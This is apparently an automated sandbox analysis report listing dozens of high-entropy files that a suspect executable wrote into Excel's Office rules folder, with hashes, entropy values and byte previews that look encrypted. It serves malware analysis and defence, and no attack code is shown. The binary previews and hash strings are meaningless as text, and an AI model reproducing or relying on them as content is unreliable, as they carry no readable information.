Preview:	<?xml6....%..p.HW?.....z.7I...I..6.-..2s....K.......E.7pB}. .VC.....Eo.+...w.a.{ny.a../...Q-..0D{.o.;C]...1..e.?...M.7.f\;UO.s.N!..z.C~........">...x..M8..c.Q..f.Zg%.....R..e@.I.9..+e.,7...6.]Y....z......]...q..b+..a..2..>d..9\|..V\n.H.Q..21..J......0..Q....NcYq\|=.Y7.?..gc2g...l.......UFt.x0...`n...<..@}hhl...7........i..}..<..s..C..*.'8sr......l6.:U]..e.t_..Y<Lw..?g.v..8^.../.k.7o..X:(m.w..f...!.w...E..........u.l...C...h.....F....Tn...&e..oq.o35...r1..D.P3M7.C..7..@....J..I......_....X/....wc'...[..>.Z....AY.a8.[..d.....O.C.......)r.I....v.._.=.6.......Q!.k#.E.r#d.."}..e....bw...>D...1..-....<.\.K.h....B.?_`.....Q....._.....([.o.."....._{~...g....y"....E.k.[...m:.>L+....FJ..$'..J.'.K..g....,.....<.t;r'..0....G..9.....V....""7.m..[ wv8..VIy+h....%y.1.D.....mY.S..B.....}..!.u^.K.@fK~..rj.....(..I.:....@...W..P..-.."..~:..\|.b.I.r....%..\|.....X].6\.'.I:[;.Lk..t..B...L..m..pyr..rP.....0..hr.73.O..\.1W...y.......&.zSBH......$E....F.>.....~..'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.881157902401535
Encrypted:	false
SSDEEP:	48:SNBJx6CmupIZnbTrhSJq6MkMEDrKtRe7qWgnZoD:UTxliZHrhbOMJny
MD5:	8F239C93F68DC6979226AE0A93BF2E32
SHA1:	917E8F8824205C7B5FF46243848D365CD488DF11
SHA-256:	6C0300F5CEE5637E4C97FFBAC4972B7C8BBCFB802D46270181F885BB0931682B
SHA-512:	DED551EA595C177B13138B84229DC3E301D4E9E7E410EFF9D7C4AD5FBA728046980EDF16C7AC649096066C859D2AAD5A740880DBB681E9A54A072BA8D962417F
Malicious:	false
Preview:	<?xml:.L....T.{.o....nj5...J.wa+J..WF..Vr..S...Ff.C.i.U.E............xu...$EI.C.:z."..6.....&.>..%...5a.f...,?].j/S.s.....7=.5...x....q....:....&..}"I.8.....3[.l.c....]...<X(s..y<Q.sX.:....O.4..a...b.n.SVg.....B.}KO.2.K...4.....7....hT..Nu.....q......H..@+2.,(xE1....1f....4.;(..u6....p.....I)O......mo.....$\..).IO"..-...l.\..a5.......\.S..Y....._$..2.k.l[.....^..S3......6]:y]g..[I....Y..;.,W..oN........<,.$..c..c.c...Q.."].2.....".....L..dX..h.CX.U..M<.r..xG..1..z.tiH...~...c.'..o..\.X.....1...8;.F....M.)......F..Du..1x..aP...G...oG=.S..d............]r.5n..0Q.y=......8O.<._5i...'.?.up.?...x...`b)....w`f.$+.I..$.....z...R...f...O./.S..pC[:@...;.......3......j)-.X..a...x..lE.....g6_....@.H.%....vRcs....`.*...:.Z.0h.\|';..D....?9......o...$...#....'9P'..C$V..\.}H.5...~Wu....Dw.8_]!}..d..n.\....se.7..p..(../V.........n2V..z~........ .Z...~.....l.9.....[...U....r..-.......2.Z...R3..O@r...n.3X.a..+.....1.j.,\|.....B..zr..K..z.xT...G.l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.791317299403357
Encrypted:	false
SSDEEP:	12:/79vJ9dGhw48kI+8blEqEHnYOVET+W/E965ODtPzvRCCwZFFnLNf6bsTXgl++4YW:DzShw1EqS2f5uL5CCwzdXf+lVPr2bD
MD5:	CAFF8FABDC41260DACD87B8437711761
SHA1:	FC4E0B9F15E07C2D1A18DC03178BF09C57A035F3
SHA-256:	4A1386D34A0D0C725560AC9B7483959B22520539971C1702D3C8DA304031E668
SHA-512:	4D89F70A8A9EEECB60DA7CDEFC3C77F321693FB907F5238E5BB9F51C757F556C2D2BAC3E1E1E392721C5B17E43EFCCAA30CBB2EB1988351EA1C41968C7D9F537
Malicious:	false
Preview:	<?xml....v.Q. ...Em....%..f.8yZ.pcj\|.J..t....ugMtC....L..Mg..Ef....=.~.7.J}.E\<9#.{5c..Xp...S.O....n'_{m...9a.%$.vP.T.D\{..ag.2.cx.ls;..G..#W0..T..S.'..7.../r.J.R[k.O..=.6.)..>t..&.pJ._.\.......3M+nJ?(...q...44OrJ..o.pJ.....P.w)...rwU....O..,>3&.....>....b<...d.....?...` ..........c...?...S....33.v\|...._.on\|.~/.&...#69KK.LY..\|.p.`.8wh....2%c..1....i......J.....Y.6..C..X..e.n..H.!v".7......?._.K.R.!.....Y.q.Pa.0l.._....P.7.z..&q........V..B.... ....W:...E..."\...........x(..}....\YR............3....:..a.]...G.Da{......wW;.q.z...2...........iw.4..=..~....o7......&.@..'.[....{..)..+.l...s.%..-Lc../.2^8.3Q-.....o...(.8.....G.......$..h..&..N7......eIx.....t.>p5.{..r)......GF'6..S]...).. R..`/...;f..x..I...0~fvh...;....!..><...z...8.Y....Ou;.E....j.JZw....._%.ls..U.#.V*?.U..q/.0..l+...D..."#/sQW.....k.D..FmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.788156335946106
Encrypted:	false
SSDEEP:	24:9Wl3K89rb4i79XdDu4M+Rv3bfp4Ti8ZPIH6qd06fJB2bD:9Wsa4i7bDLfhLfpeZPK42JaD
MD5:	D35CCF97ADB5D4E59698E9BE7247971E
SHA1:	1F7C97D91B81BC72FDC194BC8D315FC82413E5C1
SHA-256:	9F2C04AA60B6C5AF3FB0D9F751B90FA2FE2A4B5B17387D2715DA389228D3292B
SHA-512:	608BA6A049D8009C06691879086F20E9260D6A5343E163DF450303685908B83312BB8E797EE5174B1127C1580FD02BDC912ACA3C1A50FED3BFBAB4B81B762FE1
Malicious:	false
Preview:	<?xml..#!....X)r.g.!.......<....o6.K.....9N.NI:Me.l..>..6.h.q@.......b..PF.t.'Nm....U78.>..s...8J).....C.....W+.....<....P.MVpS......{0:I.....Aj.{h...c.\|.U...'....@...3@.d....f5 4Uh.0...7.T..M.......=........e..G..?.c>\|.._...gC1?.d.u.......3..o.R<R.g..I.OD.W..]....;..j....hZ.Xq..>...2S_l...`^..&i5....s"..n..c...8.~e.M.....L.....MG.+.O6.(....D>....S....S.a.$:.....W........2...'q../...t0....},.J.70cN....V.>m..7r.....n......Y.....4.s"k. .QB>.....9.A....@ .D.K.p.9...>.G.].0.........!....v...c...^.z..aV..._..=aH.].A1....$?.F.>.>!.R..N.BL-<.../E..8j...:..I+.....8p..n.&.>t..VII.).8}....KV..'.c.F....M..K.cK.]....;.\|..x...D._h........I..j.tH.......H.Q...`j_)O..c..r..L.\|..1.X....:.........R....#.S..~..S.......~8..#qG:....R.<..GZ..._H._4.K,T._..h...l.l.=f].W]....?..i..d.w......u.o.e.>..s.#..9i..R.t..d.#L...e.@.!%Q.Ea!........6U.Fg.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.920164633455453
Encrypted:	false
SSDEEP:	48:t3sTE42sUjCVhV5/4En62fid15tzHmxIwAdt8Yt6uD:NRxuVhVnn6VNtzG8gA3
MD5:	119131D2EF4BE0A42C552A085EE8BAE6
SHA1:	661FBA23A3FF0938D1ABA434D12D35A62DB75114
SHA-256:	B0BD73D098EEC12AD9796E357554E64E3BE0756248A18E635D443FC8A5274145
SHA-512:	99E53FAD4BD80ED1FD4B407F6A08347975832DC18F27C9A215E6EB7B205E305F36BAF6155E116ECBECDCC565F2BF14CAC53051C2884A39E9D3C69C5EFC98F9E9
Malicious:	false
Preview:	<?xml`..K.[?X....%,#i.T......n}..U.1]h....^........j.....,+..R}..ru.....g......,U"X..R...!.....l>ej..$,\]....._+7.R!...6e.U.h...x..)..#.fP.@..W......!jd>h..$....6..B.D...)....)..x...i8..=A......JK?...T.pXB.]....#1.'.H.............Ix...Z..9.X.K.m.R..5.n-.N..\|...m.......s...H."..T.......9..V....3.w...'.Z....8='.....t...\|..f./.03.:..WCm..C.i.o..`...\|...^Y...&i..S.......(Hu...}..yu@Y.......I....h.f.;Y}.....7E....$.....?@..Fc.dD.Q.-?!..li..Bp3=..e...v..c!...A&...7O.....m..,St......7.`e.(~.s..j.Ps....W.....g.Y'..O1..........'."..F_A....f...s.n.x`.g.'..m\.Gr...RI..~.....f'.u.t.f...Q-?..u....o.g5.O..:0.o..{..P.i,...7f.>..;......!m..H^..S.{.t......z2.n.w..%xP...........s..g.6J.)h.......j.c........R.p#5..s.).H\k.l..^...k... ..&....K...l.".R.I....!........!\|Q. `....4D......@.y..o..>.O<Q5..e.....^.Xt..&6U......r..\|!.nr..4.......!(T.1_.....k...vI...._..i..`Ga.n./W[#....6.pk.$.).i.]..1mLJ6Q.s.l.epu.,'(.U.z.......m.$Ui..r.'.(.d\|.a.W8.4 H.$0Y!. u.Q.......2!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.871488449693696
Encrypted:	false
SSDEEP:	48:d9gWbGcetj5N5bX2sfi/AVd6QFzecWjBZt9x7I8Wwraw+V0AD:d+eGjtjLRri/AVdJZ4ZDFIZwaVh
MD5:	65A2E1AB7E4E52F6FE3CBABEF3E19E86
SHA1:	C24FFD4EF650BCF542ADF5511142E9C10A618BB3
SHA-256:	70F9D8A8D6A5CF099E6E990C0744F670EEEC9BA71169C56F02A3824D27F987EC
SHA-512:	087380032F7F4FA39A70EDD68B225138F24B5A9846C2A1E8439B66F22DDEE447A5D15F3BEEFD7647DEA4210F8657D2B13DA5B0E42538872DD6A31662BDB80AD4
Malicious:	false
Preview:	<?xml.L.l.N....k......6..nv"^.$L.H..yl...+/.x..1..)..8E$n.....F....9...d.H.5..[.q.tV..u.&.?.K..a'P.....H;.@...}PF.W.zU..X.De8....\...D......q..a...JH.}........8....dKr....9ht.r.s.f...i^..I;O.G......G.bFw.2k3....z$7R"'5.,.V.....q..n:j&P..of.B.....sb.I/=.?}....x.w.d.. <....^. ..N:...8......Vm..3.:.S7.......4O......u...........#..Zz.J.k..H...n!.M.K.`.=)I.......E.\....3".....^#...<U.._..5.........p}'....V..Y=.C....O.,n6..c.8.5.xy_eb.Wf.J.H.../;.R+.....Z...Ez...m...=.oW..R... (t(DN.s.7...PD.x..@U9..w.o..H.......-.....!...F.;/..x........kl..6....1...@e1.......;5..H........k]..G..........9...>N.....pz.....W.A+0r........:e.C..d..5.....n<I.S.l.wq!.f...l.^....b..b=B.:.w?qb...z6{".qG,.J.......fD..<..3..._..%..f..v.3>..u.....H..{....KIPz..*c...>...+..0.....N.vR...p\|~oq.@"...x.A\.3c.....Ir_SX%.N .%.u...G..j...-.XD..b..`.i..<...............m.gr...........+.h ...9A..N..+..G..%>I\e........V.&.Z.....l......_.S{..JH.?=.'S......+:..,.K..4.I.I....1....I.L..`y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.776099760383466
Encrypted:	false
SSDEEP:	24:zrmCm0pVNrZwglmoIoj5K88l1CiU1GpyCxS3TVJyo32bD:HmClVN2YQo+l1C4p3xShJyo0D
MD5:	00B69B6FD7FE09059B1588FE021569D8
SHA1:	93AA6F8B98661E25516411538279E7754AD55E80
SHA-256:	6BB06A7ECACB432B3FAB774FDE9124DEFF51DF7AAA398E29F5C34C543E7B4C77
SHA-512:	B0ED973F8078D93D1C720E803685E0D0D23148E84E75AB8AC9A6D940CAD289E294172A0A24EF42A69F16D0072BC09F0BAA96052AB5251DB7221EE5C47B04C2EB
Malicious:	false
Preview:	<?xml....S.....1.o{..[....?0'6.%...#.p.......{(..o.+z.P.N7?....m!B.C......S.....n.a<3.."!.)..6.N..9.}.&.4n...8\|@.u.:..}Z....5.@..,`.W..`..e..'..N..#P..c....S.d....IS..u._.]6...Z5..).].z.lR..s..@xTr..-..]hC2.xR....E.W.K.g;......ZZ}9.d.M>.ET..........G...@O....8S....m......Qh.....R.L{.....y.`#.....J.(...U..oM....!.[c....@.V.MB$........f.`a..h..q.....<k@....6...f.@.V.ZDC%.TV....(>...%.W...>r..?.B..p........X#..8d.B.?{.~..0....{F.q....AT7..U.dvx.8..&.2.o....1.\.F..F.&=....{.r....G..o.....'T..9r.6.............N.L..d..1...O1.[.h:.......Ev..W^...._J.%.....w..h..~V........O..L........a....4w......Yi.....!.G.%.......t.0...~K.H.b..t..;...JQ...L......wT...CI.,.u!.......w.W...j.w.X.....0&...d.A6...D..$4.....PU.5U..K.1...\Y*Nv....l...e...h$....H..M.e.j.W.....%..B.u.w..N...o...z...@.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.729659089457073
Encrypted:	false
SSDEEP:	24:4+6UPE0SP7r/B+xGbMV4VwnB8Ho18lhuT2bD:f8vMGbhVwnBT+hjD
MD5:	8DDF96E57C61BD10A82CF979920526EF
SHA1:	D63A124572C10B51A17091E8AB593B56D67A2B8F
SHA-256:	A902AD1CE4153EE79D18D20D4E5F3002CFFBB703ECE7083AAD8CF6F129708ED0
SHA-512:	A0CB2AEE899D608726993242AB40828CBC23EC1E38BDB8A1D438373848CB59D145A6ADE6D3D259BF1088D6C43CB80D49954E929E06E82FA2B79FB14D8B80409C
Malicious:	false
Preview:	<?xml...0.".).<4}.Gu7..q_...l.2....e....1..T..xj.?#-a5..n...2T..Lr\|vJ.Q.X../..KT.Cp..Y5);.DV&#$./..."...'.<F..L...T.Oj.7..4..h...#...4..`Ed..l..."..h.Lk.8....U.'...{._.L..y....=.d)....s...l!Vd._..d.m...z....;...nat.PD.J.d...m.mk.;.j.s.c_...F.dS.l...L]j.BK..cDKP....:.e.$e..J:d.H].+%..G...W"~.C..e..sh.7...\.0G...N.g......zA..C.i......8.'.....C.....L.Q.r.{..Cs.>.[y5....N<...N..........t`?ej0a......v.)..j.... V_H...f=.l..j.sX(.6.)....9]..-.....@.eYaZ..1....+......a....I.m...\|38X.........o4..\|.,...`...:....JO\|.....).J...\|......x.t.9.v=F..9..`.X....<a..6Z..N-tmG.DV#.Y&&#.......Q...Gb.Ok-.l..S.T.....<./.g.V............S....o.i.E...0.S.e...XK{......rc.3.eBn...B.7BemCv-{..._(.oIC...J....qe^.w..l.%...[z,W..z..&..t.y.9..yH.A..7.>....YJ!.i.=.%....W....S.:.S,.AS3G..._..9#.<mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.764903972201998
Encrypted:	false
SSDEEP:	24:8l3y+8LDZGV1MMmkhPkfeLUknlb64x+IvDu/bhZIg4J0OR2bD:uN1MMmkeNkn19qTh4JPqD
MD5:	0D46A41F3FE5B206D71CBDD89FBBD77D
SHA1:	7C4FA2658EFB6137AFF4E648BA20E6636D696B8F
SHA-256:	C897052E4024416EBB82A1E17B137ACFA4ED2ED0A0DF56EB781904F6720AD280
SHA-512:	07853F360A645CEA03337931DDD7C7E99A95297BD80B463991CC20D11C2CB9429455CC3EDCC648BC096EA80093B81CECC3889E229EFA6F45482BC657A8EE4F55
Malicious:	false
Preview:	<?xml<...)\.4.X2.^Q.]..~h$.......u...p^...:.).....g.....il..Y..A.CI".........E..o..81[c/....;..4Kb...\...:MU...... !d...I.KQ...\|.8M9.;:eh....:#`...N%...T/8(.@....0:Y..T..;?.w&..!..b...AJ.....w..^a.B...@T..8+...T..h..W...)(<ha.M>tqoT.:...X.i]..(....0..!}......f.Sk.........g.B4.(.N.0.)...O\|H...V2nHfE..&p<.&{Rl!.....?.I.].m.m9.e.z...S....#\....U....).k<.h...)..1H...x.r..). .].W.Y.&...i.p.M.....@...zq(..$n..z....M..pa...#.....h..r.D.......!z.R.I..(.....e%...4....G....K..%...j..B..H9l....`...:E..G..H..Py$4..g...S<.Yn;....E\|fF..c@/... ....A...k.CY.V.Z)C..e..D..O .=..=. .2.,.\Sk$$.2\w..K.`<.s..w......$9...ka1....T>f&..4^.`.j].2.R5....um...4.........#.C...T."\|;N.4........w..yq...,~dS.,......k....G.q...C].3.......k..x'......L.y.D.7...7@...W.a..o.S)....M/_.W.74b/.y....j.uu3.-.w.....k..(.u..:Wo...K\...."...GP.W_D"x....8....^....,.\|X...q,...f.x.7zKmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.720271687187052
Encrypted:	false
SSDEEP:	12:Yt+TLGsKqSxNzDLD1CqF2orFuM+7At5kuRGbs86X3dtRiisZo/SUdNcii9a:YtKn7+3Lb5pD+C5kuj86ndtRiisWa2bD
MD5:	F57843409ED3D1471920E91A1324A96C
SHA1:	6E86B1C003B73E277845F074176E69A69B7F2773
SHA-256:	AE74D115AD569C09837A06C06B8D9EB149CE584A6ACC0AD08241A8C2B76B743A
SHA-512:	49A4E7364B1BF5AC085D836450AD392DD54413C097CED061F4E02DE61C764F3F9AC5F9B3BEA45D28B7E0AFB4B04FB25697D87F0C1F32573AEE1C0E93BB133EC3
Malicious:	false
Preview:	<?xmle._k.S.C.i.&...&\..N.....VH..6..c. .(P.............or..eZbZ...A........L..r..uM.....1FM5..>.1\|v.Rj..U."O[B....D.S...On]Q...e7-...@....v..v..I._..(.%.,......h........1.77F....n}..&...{.6nEX.Z..;...{.]..b.M;8......Ge...5.sDU.d...]0..x...:..........Y.!...%x..._q..".L..!..,.\|..$.k.Gu!...Y..2.JU~).jl.....+.-W.T......>M..~V.w.7............Y..x.HW..6r..>..9N.... s....j.s:....r..b..0..W%$....f....B..e..{n..S.b..}1A.A.^.....@..W.......L.S.....c......L..;...?..../.i..h.nkS..3M.X..7.3....62.p.....a..8/[.`..Z..q.2. .zA._...\...P.4<....4.].....u=.Jj.(F.My.......M....d.Tj`..XR.......+..z...#Fw..@.B.u..!.]T.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.810293085469309
Encrypted:	false
SSDEEP:	24:f+0AQ5kOPJuKm5Jd8TLZucLC+WeCeuYGhe9MV6XkqGPlFo2bD:f+HQiyJLcdYLZnmHYG0mV7qGnbD
MD5:	8840BC5608BF314786E9DD1EE8D35EF4
SHA1:	707454A3102863C917594302585F1C0754EB4983
SHA-256:	D0DB7F0CF7E2A7B14C2C322B707601361DA83E68B71561C5323DA7CF02810EAF
SHA-512:	8F9200EB0F5630512F0A9226FF7A47B1EB424E5C27D536CE421BEBD01FBECE727FD3B60C7F6BF4FE6BA05EF9E1980C8AF4294DE218C3BEB52833C58B7287DAA7
Malicious:	false
Preview:	<?xml.N"./l.......E.k..4b.M..`....Qs...c..+A.6.s>..........^^.5..~...!....2.T....\|%U.t.ia.2....5..2_....(....U..&j..Md{/..lk.....9,6.P..)..MG'.....4qE-Z"....2..>..../...Ia.#1#g.v....]....)...}.,..Q.Ih0...'R".@..gW..i..\|>.ex>.....w'..}..............p.J...wi..l3...d..b......#.t..n.xA{......./.H..........%.~`.......9-Q....}W..Z:.".C...Kn....3"[.r.^..o?%...........U.Zc..,R...A.=nD ..X.7....`..F.....&..6.....HfB4\`].y.sN.....9..rw..T....Fr...K~.......0c...;?.......T.q....L...@=:.E.f...2.M..Q..b..y..8.....[h`...+...\~...{`....B.Ux6.6m.yj......J..(,}.U.wl).z.tF.,.&..p...^A..K....c....4.t...;.A/....6...Ur.2]j..v+.K..B.....*. ..a.gw...sFR..r.{.).......5.T..7.......5....o....b.c..rn...8(.6o.8T.X..Afq.....vOR.._B..I,;H..o....u..J.FJ.9..z.=.<M...I...~w{.aV.c.0...wS....o......W..t.?I..,.{.....N.a.m....Ul+.u..`e..\|..u....r.5../.........H...^..C..0..Qz.......B.Y.i.%..W..%.ux..\...r..7 ..;.\..c...h.}.0.f_....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.8218870292644
Encrypted:	false
SSDEEP:	24:hr/JEXjl6bd3psDAH01sH5TWyZ2iaBs0n1sTS72bD:hVEXjUhiDAHsTyZ2iSsM6TSoD
MD5:	F7D25F5D43249DD9D7A236B77B6CD655
SHA1:	5C8AFBED586CF3ACC8064B2CA53A357AD3B93650
SHA-256:	5315223DCD0595FCF5B0342469416EBAEAA6BE6C8348ECC5116F04B67A869ADA
SHA-512:	9E5184194A1C0A5CF638D980F6E08C8A0DF11AEC6BA3E5A18731D09AA042B20855AB364003751359724A29ABF47884925FC5FB3256BC5281A4270F2A134879DD
Malicious:	false
Preview:	<?xml...b./...E.P\......>ca.......o......q.&z..y...^..&w5.p..iD+.....Zw..9.U...4.K...........&v?t..Y(..=....<....a...Jl=..Ayp..U01...t...X...4.......m....4\........f.(...A...b..&0.{......qM.a]......?..^4.FQX."..Y(r{>s'..0CI..p.W0....o?x.`bh..w..b[U.N+E...=.H..$Gu.E...o..+&.......r.\.d.w.e.~.BQh5......Q2...!..<]Rbb.@..np.{...-.S....=.K.....O.....u......;....Z."S.V. d%:../..@..=.{D.CBih..u...`....p.v.7.Z.....Y..YN......B^%...h..e17i9..qD....Q.D{..~_yQ...5..II^..c..."..?....'.~....'D."...-.N.P........D.}'....0........ Cn.bK.SB....x.....i3....FR.d...V\`{.X..E.F.......n]2.A.Kd........,...<B..G.....8z..]..6..d.s..P..M,.s..VZ...&..R...XUG.z`....j.mB.RG....B......Tw..K.Al..!.$....)\|.9..<.TX..E...\|7..t.p?...t.f6...)....HE...us*#B.Nv_~S.G..r...a.3......v.A......z.0.mA'.......&.......x.wgD..{.@.C.u.1.._.k.:..}Y...S.V.1.R..#9.n..<.u}H....! .......c.....j.RO.6.GaR......W..;.,........nu..v..O.......0..p..7#.".f..]"TF.CY.d.K.....[.D.N....Q..H.Y..^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.86550960449252
Encrypted:	false
SSDEEP:	24:AHTF1dydIsBfUpSs7Wyb6EsMoxYBJwU6JuGeknH+ihDX9lIci7LyMWYUhSbw2bD:AHTFydpk6y6MoxuwjkGecLhDtlXY3vUO
MD5:	9522ACF0708D76E10FEC90F0062E5AA2
SHA1:	C527CAC4BE9329056B9FFCEF4F6E990FC50CCE3C
SHA-256:	EFDF33D874EEE1FE69E89E043A817A030E8DD971DF530204029DC0E4161AA09E
SHA-512:	2513EF2E01DE74F752E448E17B7431A559D0AEE80CE7ED7588081C7E73667201C8A08EB26FA502EED2DA6A7D7F483FB5BF019B28C4DB330075DE08721927C526
Malicious:	false
Preview:	<?xml......Y.A...y&...............?...D6q...Q...Lf19...\|.T..<.\|.N..d,c.4.d..hR.7.c......=..B.p.CsC.F=.;S.v{...SX....H.....6{......c.\Fb...j.W=..[;D..7..^.x...Y..XH;....`..&N..u.%...xr.`Pu.X...!....lJ.W......1.J9<.%K....II...Es?..G.....Qo.... .U.I~'...6.1.\|......v....P....%...).\..o...d..1.Ns.N.[....'I..\.......V._Ei@.z.t9..:..&.?~W.\.%y.c.Y.j[.GX.P.Z.C\y....o....w...U.R=Z.....?.v<(.!.x...0W3.../....V%.....k.y0..N.8s.....T...=]...~...<....2:k.+;S$7xP.q..p.;1.$P..q..5.Ws.g.6..y....y.P5K5.5r.N..)(...X...i..z.. Mx.)..]....g..U6...W....<..jP~."..-Y.1\a.Dn..........:.Lg.V..tIA.(.2..)[...gt0...@.2.c.YN.....$..<1.a...&..kM..>...:...}..i..(.....4.x".f...@....r.-.G,.&u.x..r..e.<.ID-k.I.............w.h"...Q..-.H....`._.4K.JZ=....Y&>g.cY.;M..~...K..M..FL.h.._.:m.I.s...A.my.A:OX...u.g...6....m.3.Qs.!...$.)......?.a..L. 3.#L.G.X.9.*E32.xz...x?..6.$..S."-.".#.V..MG.2.W.a.-9..$r.1@6.(8+.c...p.EM5G.Y..R;9...%.&...X.p!..@Z.c.<.k.....K.l...P.A../.]......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.794163388372312
Encrypted:	false
SSDEEP:	24:/U8+e5ACy+0uqQEoFnGzuQy0sIjH0ZCbvkyLg+j6UBtnPB+2bD:/UQf0uYJzNNH0obvkyLgXUDPfD
MD5:	4CB25D93A0E2FC50EFD8FA6168CC0AE7
SHA1:	69C69B14AB1D5E76AB71DE54E65A97D710E4F1E0
SHA-256:	61F7BD5B9BB9998C4151D8D41EC2D4BCED521670FF3CAE7E653B0CF175903547
SHA-512:	9795C07CC4A5E0B9070C01B437F70CF1ECF1883F66156951C687960B661668F8E31F7387D1ECB70870FE428021D2A031318E52E88BB03BAE042FF83617ADC1E6
Malicious:	false
Preview:	<?xmlr...^..:...Qq..\|J:..l......~NY..v.Y.l....1]y.S..z..\.g..&$.1..."k]:Q.S......>Yn.....op.[.#....U............Q.......+q..%....v.<2\.:.....4..^.L5CF..}..v....D../.p(GV..".F?...ij..q....}..j....%.....H..1A..B%.Mv.$.v<..p..%..>., ..!...y./...^a..w........_?.%u..\S~T!..:&..E.d......A...V.v...}.^......9.P..'......B9..*.O.O.,....NZ5.L4.<....55....A.idw./!..I.9.#....r..v..C.3.C..].!....~+..=..D..`7.:t.............y6.B..A%8....B......p....V.g..$....}.G;.9i1.F.(O..j.u.&x.sV.s..q'.j.M....3..q...C.?./F...8Nu.p.2...UB.^.=.tIE.x^......~./U..}.I.[.;.#....+qE.5P.....M.Y.../{.....Q./.._j..v&C-.=P;h.....[...%H....R........o.,.=n..].Oq.,..FO.....O.2...... ...Z......i5.)..ro...MO...4..oIWu..../../V..)x.........P.......&.7...v.p..r.".Vt.z.R....>FT...Q......2......hw........n..\=.._.z......[.....,..r.i<.....,.e......T..$.Y...RC........_.......l.. .. .5c.....1)h.5.H.G.6.f.J.[3c..hCl"t.."e.n..u.\|..1...+......'$mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.796633652318938
Encrypted:	false
SSDEEP:	24:ZRlB9zdvgX1DtIuC4xAvaN7WcYo8DPz8SL2bD:5JgX1DtI7PAYbDP14D
MD5:	30D2DC0FDA1282B4E2DDC4DD8546F626
SHA1:	CB81B435ED2240BBE6D13B81B5CF8558B6C5B6BD
SHA-256:	AB6BFA15754F17B470E8A61770B67F55BD6B7275C401A2185B6CB49CDFA4D4CE
SHA-512:	44355C2389DD9F9CC829C1318AB47726BC608720790A8745C5F1C91D311E10D778DF844530FF37613C9469E3DC3FAC0082A07B1FE3EF80861FEA4E44C9D32E1B
Malicious:	false
